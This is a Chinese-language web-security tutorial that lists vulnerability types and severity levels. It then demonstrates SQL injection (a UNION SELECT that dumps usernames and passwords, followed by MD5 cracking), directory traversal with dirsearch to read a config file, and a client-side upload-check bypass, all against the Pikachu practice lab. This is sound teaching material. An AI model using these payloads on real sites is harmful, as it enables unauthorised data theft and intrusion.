漏洞危害
常見WEB漏洞類型
- CSRF
- SSRF
- 目錄便利
- 文件讀取
- 文件下載
- 命令執行
- SQL注入
- 文件上傳
- XSS跨站
- 文件包含
- 反序列化
- 代碼執行
- 邏輯安全
- 未授權訪問
漏洞等級
- 緊急:可以直接被利用的漏洞,且利用難度較低。被攻擊之后可能對網站或服務器的正常運行造成嚴重影響,或對用戶財產及個人信息造成重大損失
- 高危:被利用之后,造成的影響較大,但直接利用難度較高的漏洞。或本身無法直接攻擊,但能為進一步攻擊造成極大便利的漏洞。
- 中危:利用難度極高,或滿足嚴格條件才能實現攻擊的漏洞。或漏洞本身無法被直接攻擊,但能為進一步攻擊起較大幫助作用的漏洞。
- 低危:無法直接實現攻擊,但提供的信息可能讓攻擊者更容易找到其他安全漏洞。
- 信息:本身對網站安全沒有直接影響,提供的信息可能為攻擊者提供少量幫助,或可用於其他手段的攻擊,如社工等。
漏洞展示
SQL注入
聯合注入顧名思義,就是使用聯合查詢進行注入的一種方式,是一種高效的注入的方式,適用於有回顯同時數據庫軟件版本是5.0以上的MYSQL數據庫。至於為什么需要版本是5.0以上的MYSQL數據庫是因為MYSQL會有一個系統數據庫information_schema,能很快的通過幾條注入語句獲取到想要的數據。
環境測試
抓包查詢
POST /pikachu-master/vul/sqli/sqli_id.php HTTP/1.1
Host: 10.1.1.20
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.1.1.20
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.1.1.20/pikachu-master/vul/sqli/sqli_id.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=4haskck9h44jdlroa38kltdntp
Connection: close
# id = 1是一個亮點 測試使用
id=1&submit=%E6%9F%A5%E8%AF%A2
# 使用union進行聯合查詢
POST /pikachu-master/vul/sqli/sqli_id.php HTTP/1.1
Host: 10.1.1.20
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.1.1.20
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.1.1.20/pikachu-master/vul/sqli/sqli_id.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=4haskck9h44jdlroa38kltdntp
Connection: close
# 使用聯合查詢 由於只是演示漏洞危害 默認知道數據庫用戶表以及字段
id=1 union select username,password from users&submit=%E6%9F%A5%E8%AF%A2
破解上述密碼
# 安裝hash-identifier 查看密碼類型
sudo pacman -S --noconfirm hash-identifier
# 安裝破解工具
sudo pacman -S --noconfirm findmyhash
# 該工具由於使用國外的在線破解網站接口 因此使用代理訪問國外網站
proxychains findmyhash MD5 -h e10adc3949ba59abbe56e057f20f883e
目錄便利
目錄瀏覽漏洞是由於網站存在配置缺陷,導致網站目錄可以被任意瀏覽,這會導致網站很多隱私文件與目錄泄露,比如數據庫備份文件、配置文件等,攻擊者利用該信息可以為進一步入侵網站做准備
目錄便利漏洞的危害:攻擊者通過訪問網站某一目錄時,該目錄沒有默認首頁文件或沒有正確設置默認首頁文件,將會把整個目錄結構列出來,將網站結構完全暴露給攻擊者; 攻擊者可能通過瀏覽目錄結構,訪問到某些隱秘文件(如PHPINFO文件、服務器探針文件、網站管理員后台訪問地址、數據庫連接文件等)
環境測試
# 如下圖所示 通過點擊不同的文件 title所對應的值不同 因此我買可以考慮通過title值來獲取想要的文件
http://10.1.1.20/pikachu-master/vul/dir/dir_list.php?title=jarheads.php
目錄掃描
# 安裝dirsearch
sudo pacman -S --noconfim dirsearch
# 目錄掃描
sudo dirsearch -u 10.1.1.20/pikachu-master
漏洞利用
# 在上述掃描文件中發現/inc文件夾再次進行掃描
sudo dirsearch -u 10.1.1.20/pikachu-master/inc
# ../代表目錄上一級 通過層層查找 獲取配置文件
http://10.1.1.20/pikachu-master/vul/dir/dir_list.php?title=../../../inc/config.inc.php
文件上傳
文件上傳功能在web應用系統很常見,比如很多網站注冊的時候需要上傳頭像、上傳附件等等。當用戶點擊上傳按鈕后,后台會對上傳的文件進行判斷 比如是否是指定的類型、后綴名、大小等等,然后將其按照設計的格式進行重命名后存儲在指定的目錄。 如果說后台對上傳的文件沒有進行任何的安全判斷或者判斷條件不夠嚴謹,則攻擊着可能會上傳一些惡意的文件,比如一句話木馬,從而導致后台服務器被webshell。所以,在設計文件上傳功能時,一定要對傳進來的文件進行嚴格的安全考
環境測試
抓包檢測
POST /pikachu-master/vul/unsafeupload/clientcheck.php HTTP/1.1
Host: 10.1.1.20
Content-Length: 45173
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.1.1.20
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNc5oLMO85VgqkA2X
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.1.1.20/pikachu-master/vul/unsafeupload/clientcheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=t86l07409luckcit4nag5gtkem
Connection: close
------WebKitFormBoundaryNc5oLMO85VgqkA2X
# 可以看出上傳的文件位於filename里 我們只需要自己更改后綴即可
Content-Disposition: form-data; name="uploadfile"; filename="image-20210603143137301.png"
Content-Type: image/png
編寫測試文件
# 首先生成一個文件 但是手動將后綴更改為jpg文件 由於只是為了演示所以隨便寫一個文件 如果真實環境中很有可能是一段惡意代碼 則會產生巨大危害
echo "hello world" > test.jpg
改包
POST /pikachu-master/vul/unsafeupload/clientcheck.php HTTP/1.1
Host: 10.1.1.20
Content-Length: 305
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.1.1.20
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfJDEymda3BblxUcc
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.1.1.20/pikachu-master/vul/unsafeupload/clientcheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=t86l07409luckcit4nag5gtkem
Connection: close
------WebKitFormBoundaryfJDEymda3BblxUcc
# 手動將文件改為test.txt文件再次發送數據包
Content-Disposition: form-data; name="uploadfile"; filename="test.txt"
Content-Type: image/jpeg